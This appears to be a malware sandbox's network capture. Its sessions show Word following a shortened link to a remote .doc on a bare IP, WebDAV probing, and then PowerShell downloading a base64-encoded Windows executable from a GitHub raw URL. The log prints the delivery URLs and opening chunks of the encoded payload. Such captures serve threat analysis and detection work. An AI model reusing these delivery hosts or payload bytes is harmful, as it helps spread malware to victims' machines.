Timestamp	Bytes transferred	Direction	Data
2024-10-07 05:14:36 UTC	111	OUT	HEAD /a080 HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft Office Existence Discovery Host: m2g.me
2024-10-07 05:14:37 UTC	375	IN	HTTP/1.1 302 Found Date: Mon, 07 Oct 2024 05:14:37 GMT Server: Apache/2.4.52 (Ubuntu) Upgrade: h2,h2c Connection: Upgrade, close Location: http://38.240.41.28/333/erf/sweetnessisbthebesttoolevermadefromthehumanmouthwhichfoundverylongtimebeforesweetnessgivinghappinessandentirethingsforhumanwhohave_______nicebeautifulwords.doc Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.22	49165	14.194.50.211	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 05:14:41 UTC	123	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601 translate: f Host: m2g.me
2024-10-07 05:14:42 UTC	224	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 05:14:41 GMT Server: Apache/2.4.52 (Ubuntu) Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-07 05:14:42 UTC	7968	IN	Data Raw: 33 37 35 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 73 61 76 65 64 20 66 72 6f 6d 20 75 72 6c 3d 28 30 30 34 32 29 23 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 63 6c 61 73 73 3d 22 20 73 69 7a 65 73 20 63 75 73 74 6f 6d 65 6c 65 6d 65 6e 74 73 20 68 69 73 74 6f 72 79 20 70 6f 69 6e 74 65 72 65 76 65 6e 74 73 20 70 6f 73 74 6d 65 73 73 61 67 65 20 77 65 62 67 6c 20 77 65 62 73 6f 63 6b 65 74 73 20 63 73 73 61 6e 69 6d 61 74 69 6f 6e 73 20 63 73 73 63 6f 6c 75 6d 6e 73 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 77 69 64 74 68 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 73 70 61 6e 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 66 69 6c 6c 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 67 61 70 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 72 75 6c 65 20 Data Ascii: 3750<!DOCTYPE html>... saved from url=(0042)# --><html lang="en" class=" sizes customelements history pointerevents postmessage webgl websockets cssanimations csscolumns csscolumns-width csscolumns-span csscolumns-fill csscolumns-gap csscolumns-rule

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.22	49166	14.194.50.211	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 05:14:43 UTC	153	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 36 2e 31 2e 37 36 30 31 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 6d 32 67 2e 6d 65 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: m2g.me
2024-10-07 05:14:44 UTC	224	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 05:14:43 GMT Server: Apache/2.4.52 (Ubuntu) Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-07 05:14:44 UTC	7968	IN	Data Raw: 33 37 35 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 73 61 76 65 64 20 66 72 6f 6d 20 75 72 6c 3d 28 30 30 34 32 29 23 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 63 6c 61 73 73 3d 22 20 73 69 7a 65 73 20 63 75 73 74 6f 6d 65 6c 65 6d 65 6e 74 73 20 68 69 73 74 6f 72 79 20 70 6f 69 6e 74 65 72 65 76 65 6e 74 73 20 70 6f 73 74 6d 65 73 73 61 67 65 20 77 65 62 67 6c 20 77 65 62 73 6f 63 6b 65 74 73 20 63 73 73 61 6e 69 6d 61 74 69 6f 6e 73 20 63 73 73 63 6f 6c 75 6d 6e 73 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 77 69 64 74 68 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 73 70 61 6e 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 66 69 6c 6c 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 67 61 70 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 72 75 6c 65 20 Data Ascii: 3750<!DOCTYPE html>... saved from url=(0042)# --><html lang="en" class=" sizes customelements history pointerevents postmessage webgl websockets cssanimations csscolumns csscolumns-width csscolumns-span csscolumns-fill csscolumns-gap csscolumns-rule
2024-10-07 05:14:44 UTC	6198	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 75 6e 74 65 72 2d 69 74 65 6d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 63 6c 61 73 73 3d 22 63 6f 75 6e 74 65 72 2d 74 69 74 6c 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 6f 75 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 33 35 2c 36 39 30 20 20 20 20 3c 2f 73 70 61 6e 3e 2b 3c 2f 68 32 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 53 68 6f 72 74 65 6e 65 64 20 6c 69 6e 6b 73 20 69 6e 20 74 6f 74 61 6c 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <div class="counter-item"> <h2 class="counter-title"><span class="counter"> 35,690 </span>+</h2> <p>Shortened links in total</p>
2024-10-07 05:14:44 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 05:14:44 UTC	664	IN	Data Raw: 32 38 63 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2d 33 2e 33 2e 31 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 61 73 73 65 74 73 2f 6a 73 2f 6d 6f 64 65 72 6e 69 7a 72 2d 33 2e 36 2e 30 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 61 73 73 65 74 73 2f 6a 73 2f 70 6c 75 67 69 6e 73 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 61 73 73 65 74 73 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 61 73 73 65 74 73 2f 6a 73 2f 77 6f 77 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 Data Ascii: 28c<script src="assets/js/jquery-3.3.1.min.js"></script><script src="assets/js/modernizr-3.6.0.min.js"></script><script src="assets/js/plugins.js"></script><script src="assets/js/bootstrap.min.js"></script><script src="assets/js/wow.min.js"></script

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.22	49167	14.194.50.211	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 05:14:45 UTC	153	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 36 2e 31 2e 37 36 30 31 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 6d 32 67 2e 6d 65 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: m2g.me
2024-10-07 05:14:46 UTC	224	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 05:14:45 GMT Server: Apache/2.4.52 (Ubuntu) Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-07 05:14:46 UTC	7968	IN	Data Raw: 33 37 35 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 73 61 76 65 64 20 66 72 6f 6d 20 75 72 6c 3d 28 30 30 34 32 29 23 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 63 6c 61 73 73 3d 22 20 73 69 7a 65 73 20 63 75 73 74 6f 6d 65 6c 65 6d 65 6e 74 73 20 68 69 73 74 6f 72 79 20 70 6f 69 6e 74 65 72 65 76 65 6e 74 73 20 70 6f 73 74 6d 65 73 73 61 67 65 20 77 65 62 67 6c 20 77 65 62 73 6f 63 6b 65 74 73 20 63 73 73 61 6e 69 6d 61 74 69 6f 6e 73 20 63 73 73 63 6f 6c 75 6d 6e 73 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 77 69 64 74 68 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 73 70 61 6e 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 66 69 6c 6c 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 67 61 70 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 72 75 6c 65 20 Data Ascii: 3750<!DOCTYPE html>... saved from url=(0042)# --><html lang="en" class=" sizes customelements history pointerevents postmessage webgl websockets cssanimations csscolumns csscolumns-width csscolumns-span csscolumns-fill csscolumns-gap csscolumns-rule
2024-10-07 05:14:46 UTC	6198	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 75 6e 74 65 72 2d 69 74 65 6d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 63 6c 61 73 73 3d 22 63 6f 75 6e 74 65 72 2d 74 69 74 6c 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 6f 75 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 33 35 2c 36 39 33 20 20 20 20 3c 2f 73 70 61 6e 3e 2b 3c 2f 68 32 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 53 68 6f 72 74 65 6e 65 64 20 6c 69 6e 6b 73 20 69 6e 20 74 6f 74 61 6c 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <div class="counter-item"> <h2 class="counter-title"><span class="counter"> 35,693 </span>+</h2> <p>Shortened links in total</p>
2024-10-07 05:14:46 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 05:14:46 UTC	664	IN	Data Raw: 32 38 63 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2d 33 2e 33 2e 31 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 61 73 73 65 74 73 2f 6a 73 2f 6d 6f 64 65 72 6e 69 7a 72 2d 33 2e 36 2e 30 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 61 73 73 65 74 73 2f 6a 73 2f 70 6c 75 67 69 6e 73 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 61 73 73 65 74 73 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 61 73 73 65 74 73 2f 6a 73 2f 77 6f 77 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 Data Ascii: 28c<script src="assets/js/jquery-3.3.1.min.js"></script><script src="assets/js/modernizr-3.6.0.min.js"></script><script src="assets/js/plugins.js"></script><script src="assets/js/bootstrap.min.js"></script><script src="assets/js/wow.min.js"></script

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49168	14.194.50.211	443	3792	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-10-07 05:14:47 UTC	130	OUT	HEAD /a080 HTTP/1.1 User-Agent: Microsoft Office Existence Discovery Host: m2g.me Content-Length: 0 Connection: Keep-Alive
2024-10-07 05:14:48 UTC	375	IN	HTTP/1.1 302 Found Date: Mon, 07 Oct 2024 05:14:48 GMT Server: Apache/2.4.52 (Ubuntu) Upgrade: h2,h2c Connection: Upgrade, close Location: http://38.240.41.28/333/erf/sweetnessisbthebesttoolevermadefromthehumanmouthwhichfoundverylongtimebeforesweetnessgivinghappinessandentirethingsforhumanwhohave_______nicebeautifulwords.doc Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49171	185.199.108.133	443	1368	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 05:14:56 UTC	128	OUT	GET /NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-10-07 05:14:57 UTC	904	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2935468 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "df9ff7aedbae4b4f50e2ae3a8f13fd0b84c66fbd35e7ac0df91a7a47b720c032" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 4619:1531AA:B178E9:C23C97:67036E4F Accept-Ranges: bytes Date: Mon, 07 Oct 2024 05:14:56 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740074-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1728278097.822085,VS0,VE171 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: c2cd070da65988bd6ca21757bc4d4b5286850ca0 Expires: Mon, 07 Oct 2024 05:19:56 GMT Source-Age: 0
2024-10-07 05:14:57 UTC	1378	IN	Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 41 4f 50 39 57 59 41 41 41 41 41 41 41 41 41 41 4f 41 41 44 69 45 4c 41 54 41 41 41 4a 41 68 41 41 41 47 41 41 41 41 41 41 41 41 33 71 38 68 41 41 41 67 41 41 41 41 77 43 45 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAAOP9WYAAAAAAAAAAOAADiELATAAAJAhAAAGAAAAAAAA3q8hAAAgAAAAwCEAAABAAAAgAAAAAgA
2024-10-07 05:14:57 UTC	1378	IN	Data Raw: 41 41 42 67 41 41 41 44 67 41 41 41 41 41 4b 67 49 44 66 51 55 41 41 41 51 67 41 41 41 41 41 48 36 45 45 41 41 45 65 30 41 51 41 41 51 35 30 76 2f 2f 2f 79 59 67 41 41 41 41 41 44 6a 48 2f 2f 2f 2f 41 45 59 6f 45 67 41 41 42 67 49 6f 43 51 41 41 42 69 67 42 41 41 41 4b 4b 67 41 41 45 7a 41 44 41 47 30 41 41 41 41 42 41 41 41 52 49 41 45 41 41 41 44 2b 44 67 41 41 4f 41 41 41 41 41 44 2b 44 41 41 41 52 51 49 41 41 41 41 46 41 41 41 41 47 51 41 41 41 44 67 41 41 41 41 41 41 69 67 55 41 41 41 47 41 32 38 46 41 41 41 47 4b 42 55 41 41 41 59 71 46 69 6f 43 4b 42 4d 41 41 41 59 44 4b 42 4d 41 41 41 59 6f 41 67 41 41 43 6a 6e 6f 2f 2f 2f 2f 49 41 41 41 41 41 42 2b 68 42 41 41 42 48 73 75 45 41 41 45 4f 72 44 2f 2f 2f 38 6d 49 41 41 41 41 41 41 34 70 66 2f 2f 2f Data Ascii: AABgAAADgAAAAAKgIDfQUAAAQgAAAAAH6EEAAEe0AQAAQ50v///yYgAAAAADjH////AEYoEgAABgIoCQAABigBAAAKKgAAEzADAG0AAAABAAARIAEAAAD+DgAAOAAAAAD+DAAARQIAAAAFAAAAGQAAADgAAAAAAigUAAAGA28FAAAGKBUAAAYqFioCKBMAAAYDKBMAAAYoAgAACjno////IAAAAAB+hBAABHsuEAAEOrD///8mIAAAAAA4pf///
2024-10-07 05:14:57 UTC	1378	IN	Data Raw: 49 41 45 41 41 41 41 34 6d 66 2f 2f 2f 77 49 4f 42 48 30 4a 41 41 41 45 49 41 41 41 41 41 42 2b 68 42 41 41 42 48 74 61 45 41 41 45 4f 58 33 2f 2f 2f 38 6d 49 41 41 41 41 41 41 34 63 76 2f 2f 2f 7a 49 43 4b 42 6b 41 41 41 59 6f 4a 77 41 41 42 69 6f 41 41 41 41 54 4d 41 4d 41 6b 51 41 41 41 41 4d 41 41 42 45 67 41 77 41 41 41 50 34 4f 41 41 41 34 41 41 41 41 41 50 34 4d 41 41 42 46 42 41 41 41 41 41 59 41 41 41 41 46 41 41 41 41 4c 41 41 41 41 46 49 41 41 41 41 34 41 51 41 41 41 43 6f 52 41 53 67 6b 41 41 41 47 49 41 41 41 41 41 42 2b 68 42 41 41 42 48 73 2f 45 41 41 45 4f 73 72 2f 2f 2f 38 6d 49 41 45 41 41 41 41 34 76 2f 2f 2f 2f 78 45 42 4f 64 4c 2f 2f 2f 38 67 41 41 41 41 41 48 36 45 45 41 41 45 65 33 77 51 41 41 51 36 70 50 2f 2f 2f 79 59 67 41 41 41 Data Ascii: IAEAAAA4mf///wIOBH0JAAAEIAAAAAB+hBAABHtaEAAEOX3///8mIAAAAAA4cv///zICKBkAAAYoJwAABioAAAATMAMAkQAAAAMAABEgAwAAAP4OAAA4AAAAAP4MAABFBAAAAAYAAAAFAAAALAAAAFIAAAA4AQAAACoRASgkAAAGIAAAAAB+hBAABHs/EAAEOsr///8mIAEAAAA4v////xEBOdL///8gAAAAAH6EEAAEe3wQAAQ6pP///yYgAAA
2024-10-07 05:14:57 UTC	1378	IN	Data Raw: 45 67 41 41 41 41 41 48 36 45 45 41 41 45 65 79 49 51 41 41 51 36 53 66 2f 2f 2f 79 59 67 42 41 41 41 41 44 67 2b 2f 2f 2f 2f 45 51 51 6f 4f 51 41 41 42 6a 72 4d 2f 2f 2f 2f 49 41 41 41 41 41 42 2b 68 42 41 41 42 48 74 6d 45 41 41 45 4f 68 37 2f 2f 2f 38 6d 49 41 41 41 41 41 41 34 45 2f 2f 2f 2f 39 33 45 2f 76 2f 2f 45 51 51 36 58 51 41 41 41 43 41 41 41 41 41 41 66 6f 51 51 41 41 52 37 69 68 41 41 42 44 6b 50 41 41 41 41 4a 69 41 41 41 41 41 41 4f 41 51 41 41 41 44 2b 44 41 55 41 52 51 4d 41 41 41 41 46 41 41 41 41 4b 51 41 41 41 44 6f 41 41 41 41 34 41 41 41 41 41 44 67 77 41 41 41 41 49 41 45 41 41 41 42 2b 68 42 41 41 42 48 73 6f 45 41 41 45 4f 74 48 2f 2f 2f 38 6d 49 41 45 41 41 41 41 34 78 76 2f 2f 2f 78 45 45 4b 44 6f 41 41 41 59 67 41 67 41 41 41 Data Ascii: EgAAAAAH6EEAAEeyIQAAQ6Sf///yYgBAAAADg+////EQQoOQAABjrM////IAAAAAB+hBAABHtmEAAEOh7///8mIAAAAAA4E////93E/v//EQQ6XQAAACAAAAAAfoQQAAR7ihAABDkPAAAAJiAAAAAAOAQAAAD+DAUARQMAAAAFAAAAKQAAADoAAAA4AAAAADgwAAAAIAEAAAB+hBAABHsoEAAEOtH///8mIAEAAAA4xv///xEEKDoAAAYgAgAAA
2024-10-07 05:14:57 UTC	1378	IN	Data Raw: 4f 4a 50 2f 2f 2f 38 43 46 48 30 51 41 41 41 45 49 41 55 41 41 41 41 34 67 76 2f 2f 2f 77 4a 37 45 41 41 41 42 43 67 45 41 41 41 72 49 41 45 41 41 41 42 2b 68 42 41 41 42 48 74 63 45 41 41 45 4f 6d 50 2f 2f 2f 38 6d 49 41 45 41 41 41 41 34 57 50 2f 2f 2f 79 6f 71 41 6e 73 50 41 41 41 45 4b 41 55 41 41 43 73 67 41 41 41 41 41 48 36 45 45 41 41 45 65 78 6b 51 41 41 51 35 4e 2f 2f 2f 2f 79 59 67 41 41 41 41 41 44 67 73 2f 2f 2f 2f 41 41 41 6d 66 68 45 41 41 41 51 55 2f 67 45 71 41 41 41 61 66 68 45 41 41 41 51 71 41 43 72 2b 43 51 41 41 62 77 30 41 41 41 6f 71 41 43 72 2b 43 51 41 41 62 77 63 41 41 41 6f 71 41 43 72 2b 43 51 41 41 62 31 30 41 41 41 59 71 41 44 34 41 2f 67 6b 41 41 50 34 4a 41 51 41 6f 62 77 41 41 42 69 6f 36 2f 67 6b 41 41 50 34 4a 41 51 42 Data Ascii: OJP///8CFH0QAAAEIAUAAAA4gv///wJ7EAAABCgEAAArIAEAAAB+hBAABHtcEAAEOmP///8mIAEAAAA4WP///yoqAnsPAAAEKAUAACsgAAAAAH6EEAAEexkQAAQ5N////yYgAAAAADgs////AAAmfhEAAAQU/gEqAAAafhEAAAQqACr+CQAAbw0AAAoqACr+CQAAbwcAAAoqACr+CQAAb10AAAYqAD4A/gkAAP4JAQAobwAABio6/gkAAP4JAQB
2024-10-07 05:14:57 UTC	1378	IN	Data Raw: 67 41 41 41 5a 7a 45 41 41 41 43 6e 4d 52 41 41 41 4b 66 52 41 41 41 41 51 67 41 67 41 41 41 48 36 45 45 41 41 45 65 32 34 51 41 41 51 35 41 50 37 2f 2f 79 59 67 48 51 41 41 41 44 6a 31 2f 66 2f 2f 41 78 38 51 4b 4e 45 43 41 41 59 35 4a 41 49 41 41 43 41 4f 41 41 41 41 66 6f 51 51 41 41 52 37 4a 68 41 41 42 44 6e 55 2f 66 2f 2f 4a 69 41 44 41 41 41 41 4f 4d 6e 39 2f 2f 38 43 65 78 59 41 41 41 51 52 42 68 45 48 49 50 2f 2f 2f 33 39 66 63 31 67 41 41 41 5a 76 45 67 41 41 43 69 41 52 41 41 41 41 66 6f 51 51 41 41 52 37 55 78 41 41 42 44 71 62 2f 66 2f 2f 4a 69 41 61 41 41 41 41 4f 4a 44 39 2f 2f 38 43 63 78 4d 41 41 41 70 39 46 67 41 41 42 43 41 48 41 41 41 41 4f 48 76 39 2f 2f 38 52 42 79 41 41 41 41 43 41 58 7a 6c 4a 41 51 41 41 49 41 55 41 41 41 41 34 5a Data Ascii: gAAAZzEAAACnMRAAAKfRAAAAQgAgAAAH6EEAAEe24QAAQ5AP7//yYgHQAAADj1/f//Ax8QKNECAAY5JAIAACAOAAAAfoQQAAR7JhAABDnU/f//JiADAAAAOMn9//8CexYAAAQRBhEHIP///39fc1gAAAZvEgAACiARAAAAfoQQAAR7UxAABDqb/f//JiAaAAAAOJD9//8CcxMAAAp9FgAABCAHAAAAOHv9//8RByAAAACAXzlJAQAAIAUAAAA4Z
2024-10-07 05:14:57 UTC	1378	IN	Data Raw: 41 41 42 2b 68 42 41 41 42 48 73 78 45 41 41 45 4f 6b 6a 2f 2f 2f 38 6d 49 41 41 41 41 41 41 34 50 66 2f 2f 2f 7a 6a 53 2f 2f 2f 2f 49 41 55 41 41 41 41 34 4c 76 2f 2f 2f 77 41 6f 55 67 41 41 42 68 45 42 4b 46 4d 41 41 41 59 54 42 53 41 41 41 41 41 41 66 6f 51 51 41 41 52 37 5a 78 41 41 42 44 6f 50 41 41 41 41 4a 69 41 41 41 41 41 41 4f 41 51 41 41 41 44 2b 44 41 49 41 52 51 45 41 41 41 41 46 41 41 41 41 4f 41 41 41 41 41 44 64 5a 77 41 41 41 43 59 67 41 41 41 41 41 48 36 45 45 41 41 45 65 30 73 51 41 41 51 36 44 77 41 41 41 43 59 67 41 41 41 41 41 44 67 45 41 41 41 41 2f 67 77 41 41 45 55 43 41 41 41 41 42 51 41 41 41 43 63 41 41 41 41 34 41 41 41 41 41 42 51 54 42 53 41 41 41 41 41 41 66 6f 51 51 41 41 52 37 67 68 41 41 42 44 72 58 2f 2f 2f 2f 4a 69 41 Data Ascii: AAB+hBAABHsxEAAEOkj///8mIAAAAAA4Pf///zjS////IAUAAAA4Lv///wAoUgAABhEBKFMAAAYTBSAAAAAAfoQQAAR7ZxAABDoPAAAAJiAAAAAAOAQAAAD+DAIARQEAAAAFAAAAOAAAAADdZwAAACYgAAAAAH6EEAAEe0sQAAQ6DwAAACYgAAAAADgEAAAA/gwAAEUCAAAABQAAACcAAAA4AAAAABQTBSAAAAAAfoQQAAR7ghAABDrX////JiA
2024-10-07 05:14:57 UTC	1378	IN	Data Raw: 59 67 43 41 41 41 41 44 67 4a 2f 76 2f 2f 45 51 45 6f 53 77 41 41 42 68 4d 48 49 41 73 41 41 41 41 34 39 76 33 2f 2f 78 45 4a 4b 68 45 41 65 78 67 41 41 41 51 6f 56 77 41 41 42 6e 4d 67 41 41 41 47 45 77 6b 67 42 67 41 41 41 44 6a 57 2f 66 2f 2f 4f 4e 37 2f 2f 2f 38 67 44 41 41 41 41 48 36 45 45 41 41 45 65 7a 38 51 41 41 51 36 76 66 33 2f 2f 79 59 67 44 67 41 41 41 44 69 79 2f 66 2f 2f 41 6e 73 54 41 41 41 45 45 51 51 52 42 53 68 57 41 41 41 47 45 77 67 67 42 77 41 41 41 44 69 58 2f 66 2f 2f 41 42 4d 77 41 77 42 39 41 41 41 41 41 51 41 41 45 53 41 43 41 41 41 41 2f 67 34 41 41 44 67 41 41 41 41 41 2f 67 77 41 41 45 55 44 41 41 41 41 57 51 41 41 41 41 55 41 41 41 41 76 41 41 41 41 4f 46 51 41 41 41 41 43 63 77 34 41 41 41 70 39 45 41 41 41 42 43 41 41 41 Data Ascii: YgCAAAADgJ/v//EQEoSwAABhMHIAsAAAA49v3//xEJKhEAexgAAAQoVwAABnMgAAAGEwkgBgAAADjW/f//ON7///8gDAAAAH6EEAAEez8QAAQ6vf3//yYgDgAAADiy/f//AnsTAAAEEQQRBShWAAAGEwggBwAAADiX/f//ABMwAwB9AAAAAQAAESACAAAA/g4AADgAAAAA/gwAAEUDAAAAWQAAAAUAAAAvAAAAOFQAAAACcw4AAAp9EAAABCAAA
